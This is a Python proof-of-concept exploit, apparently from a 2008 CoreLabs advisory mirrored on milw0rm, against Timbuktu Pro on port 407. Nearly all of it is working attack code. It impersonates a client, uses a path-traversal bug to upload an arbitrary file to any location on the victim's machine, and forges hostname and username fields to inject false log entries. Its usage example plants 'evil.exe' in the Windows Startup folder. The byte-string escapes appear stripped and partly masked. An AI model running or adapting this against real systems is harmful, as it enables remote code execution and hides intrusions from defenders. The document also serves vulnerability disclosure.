Code:# Core Security Technologies - CoreLabs Advisory # Core Security | Home # Title: Timbuktu Pro Remote Path Traversal and Log Injection # Advisory ID: CORE-2008-0204 # Advisory URL: Core Security | CoreLabs # Date published: 2008-03-11 # Date of last update: 2008-03-11 # Vendors contacted: Motorola # Release mode: Forced release # Proof of concept code follows. This PoC allows a remote attacker to # upload a file to an arbitrary location on the victim's machine and forge # peer information on the log lines of the victim's application. from sys import argv from socket import * from struct import pack #from utils import printFormatted #from time import sleep init_send_op_packet = ( 'x00x01x60x00x00x52x00x25' 'x00x22x02x01x00x04x03x07' 'x00x05x00x01x00x00x00xf1' 'x06x00xf7x76xddx77x00x00' 'x00x00x08x7cx67x60x00x00' 'x00x00x00x00x00x00x00x00' 'x00x00x18xf1x06x00xd1x90' 'xbcx60x38xf1x06x00x32x94' 'xc1x60x50x92xc4x60x00x00' 'x00x00x18x92xc4x60x2dxbe' 'x80x7cx08x7cx67x60x20x46' ) second_send_op_packet = ( 'x00x01x61x00x00x52x00x25' 'x00x22x02x01x00x04x03x07' 'x00x05x00x01x10x00xe0xf0' 'x06x00x51x05x91x7cx28x09' 'x08x00x6dx05x91x7cx1cxf1' 'x06x00x02x00x00x00x10x00' 'x00x00xb8xf5xbex60x00x00' 'xacx00x00x00x00x00xbdxf5' 'xbex60x30****c4x60x07x00' 'x00x00xd0x13x63x60x71xfb' '****7cx40xf0x06x00x0ex00' ) peer_info_exchange = ( 'x00x01x62x00x00xb0x00x23' 'x07x22x03x07x70x2cxa5x51' 'x4cxcaxe3xfbx70x2cxa5x51' 'x4cxcaxe3xfbx00x09' '%(user_name)s' 'x01x97' '%(host_name)s' '' 'x00x00x01x02x00x04' 'xb1x1cx39x51x00x00x00x00' '%(guest_ip_address)s' 'x00x00x00x00x00x00' 'x00x00x00x00x00x00' ) ack_peer_info = 'xff' attach_info_packet = ('xfbx00x00x00x00' 'BINAmdos' 'xc2x12x49xafxbdx35xacx98' 'x00x00x00x00' '%(attachment_length)s' 'x00x00x00x00' 'xffxffxffxffx00x00x00x00' 'x00x00x00x00x00x00x00x00' 'x00x00x00x00x00x00' '%(attachment_filename)s' ) attach_info_ack1 = 'xf9x00' # Transfer file content here !!! # xF8 + 2 byte length + data attach_file_ack1 = 'xf7' attach_file_ack2 = 'xfa' class Tb2FileSender: ''' Fake timbuktu client that implements the 'Notes' feature to send a message with a file attached to it. ''' def __init__(self, target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content): ''' Setup TCP Connection to standard port TCP/407 ''' self.sck = socket(AF_INET, SOCK_STREAM) self.sck.connect((target, 407)) self.fake_src_ip = fake_src_ip self.fake_hostname = fake_hostname # Peer computer name self.fake_username = fake_username # Peer user name self.dest_filename = dest_filename # Destination filename including path (like ../../a.exe) self.file_content = file_content # Content of the destination file def sendAndRecv(self, packet, log, expected_response_length=0x500, print_response=False): self.sck.send(packet) if log: print '[-] %s' % log if expected_response_length > 0: resp = self.sck.recv(expected_response_length) if print_response: #printFormatted(resp) print '-' * 70 + 'n' return resp return None def getPascalString(self, str): ''' Format the strings as 1 Byte Length + String. ''' return pack('B', len(str)) + str def createFakePeerInfoPacket(self): ''' Create a packet with forged guest information to avoid giving away real info in the log files. ''' # # Ohhh... by the way, these two names goes diretly to the log file... ehehhee :) # guest_host_name = self.fake_hostname.replace('\n', 'rn') guest_user_name = self.fake_username.replace('\n', 'rn') username_max_len = 0x37 # This is not the application real limit, hostname_max_len = 0x3f # but it is the limit for this packet. host_name = self.getPascalString(guest_host_name) user_name = self.getPascalString(guest_user_name) # Pad the string to fill the empty space and avoid packet length recalculation host_name += ('x00' * (hostname_max_len - len(guest_host_name))) user_name += ('x00' * (username_max_len - len(guest_user_name))) guest_ip_address = self.fake_src_ip.split('.') guest_ip_address = pack('BBBB', int(guest_ip_address[0]), int(guest_ip_address[1]), int(guest_ip_address[2]), int(guest_ip_address[3])) return peer_info_exchange % vars() def getAttachContent(self): ''' Retrieve the content of the local file and send it as the attach content. ''' fd = open(self.file_content, 'rb') data = fd.read() fd.close() return data def send(self): ''' Send a sequence of packet to upload our data to the filename and path specified by the user's parameters. ''' # Begin protocol negotiation with the target self.sendAndRecv(init_send_op_packet, 'Note Operation initial packet sent.') self.sendAndRecv(second_send_op_packet, 'Note Operation negotiation packet sent.') # Send the packet with our fake info to fool the logs :) self.sendAndRecv(self.createFakePeerInfoPacket(), 'Peer info packet sent.') self.sendAndRecv(ack_peer_info, 'Ack peer info packet sent.') # Setup attachment packets that contain information about the file being transfered max_trx_chunk_size = 0x5B4 trx_until_resync = 0x16C5 payload = self.getAttachContent() payload_length = len(payload) attachment_length = pack('>L', payload_length) # # Send info about the attachment. # # The '\' character is nedded to bypass the application filter. # This is actually the Bug ! attachment_filename = self.getPascalString('\' + self.dest_filename.replace('\', '/')) attach_info = attach_info_packet % vars() self.sendAndRecv(attach_info , 'Attachment info sent.') self.sendAndRecv(attach_info_ack1, 'Attachment intermediate info sent.') # Create a list with the chunks to send and prepare their headers is appropriate attachment_content = list() # We check if the data to send fits into one set of chunks. if payload_length < max_trx_chunk_size: attachment_content.append('xF8' + pack('>H', payload_length) + payload) else: # If the data is bigger than one chunk, then send multiple chunks and their headers. curr_pos = 0 # keeps our current position into the data file content resync_chunk = True # flag to indicate if a new set of chunk should be set pos_in_chunk = 0 # keeps our position into the current chunk set do_recv = False # flag to indicate if recv is needed to receive target data while curr_pos <= payload_length: do_recv = False # Is this the last chunk ? if curr_pos > 0 and pos_in_chunk != trx_until_resync: # If it is the last chunk, then just set length to the rest of the data if trx_until_resync - pos_in_chunk < max_trx_chunk_size: chunk_length = trx_until_resync - pos_in_chunk do_recv = True else: # Otherwise, set the data length as usual because it's an intermediate chunk chunk_length = max_trx_chunk_size data = '' else: # Start a new set of chunks and check if this is not the last set # If it is, then don't set the maximun size, just the rest of the length. data = 'xF8' # Set the chunk set header if payload_length - curr_pos < trx_until_resync: chunk_length = payload_length - curr_pos data += pack('>H', chunk_length) else: # This is not the last chunk, so we set the maximun size and begin # it transmittion. chunk_length = max_trx_chunk_size data += pack('>H', trx_until_resync) pos_in_chunk = 0 # Append the current chunk into a list to be sent later attachment_content.append((do_recv, data + payload[curr_pos : curr_pos + chunk_length])) curr_pos += chunk_length pos_in_chunk += chunk_length # # Send file content in small chunks # print '[-] Beginning file transfer... (this may take some time)' for chunk in attachment_content: if chunk[0]: do_recv = 0x500 else: do_recv = 0 self.sendAndRecv(chunk[1], '', do_recv) #sleep(0.5) print '[-] File transfer complete' # Send the final ACKs to allow the program to create the remote file. self.sendAndRecv(attach_file_ack1, 'Note body intermediate info sent.') self.sendAndRecv(attach_file_ack2, 'Note body intermediate info sent.') # Close the connection here to avoid the program displaying any message self.sck.close() return if __name__ == "__main__": if len(argv) != 7: print (r'nUsage:nn%s <target> <fake_source_ip> <fake_hostname> ' '<fake_username> <dest_filename_with_path> <file2upload>nn' 'Example:nn' '%s victim.com 1.2.3.4 trus*****m yourAdmin "......Documents And SettingsAll UsersStart MenuProgramsStartupevil.exe" c:payload.exe' % (argv[0], argv[0]) ) else: target = argv[1] fake_src_ip = argv[2] fake_hostname = argv[3] fake_username = argv[4] dest_filename = argv[5] file_content = argv[6] tb2 = Tb2FileSender(target, fake_src_ip, fake_hostname, fake_username, dest_filename, file_content) tb2.send() # milw0rm.com [2008-03-11]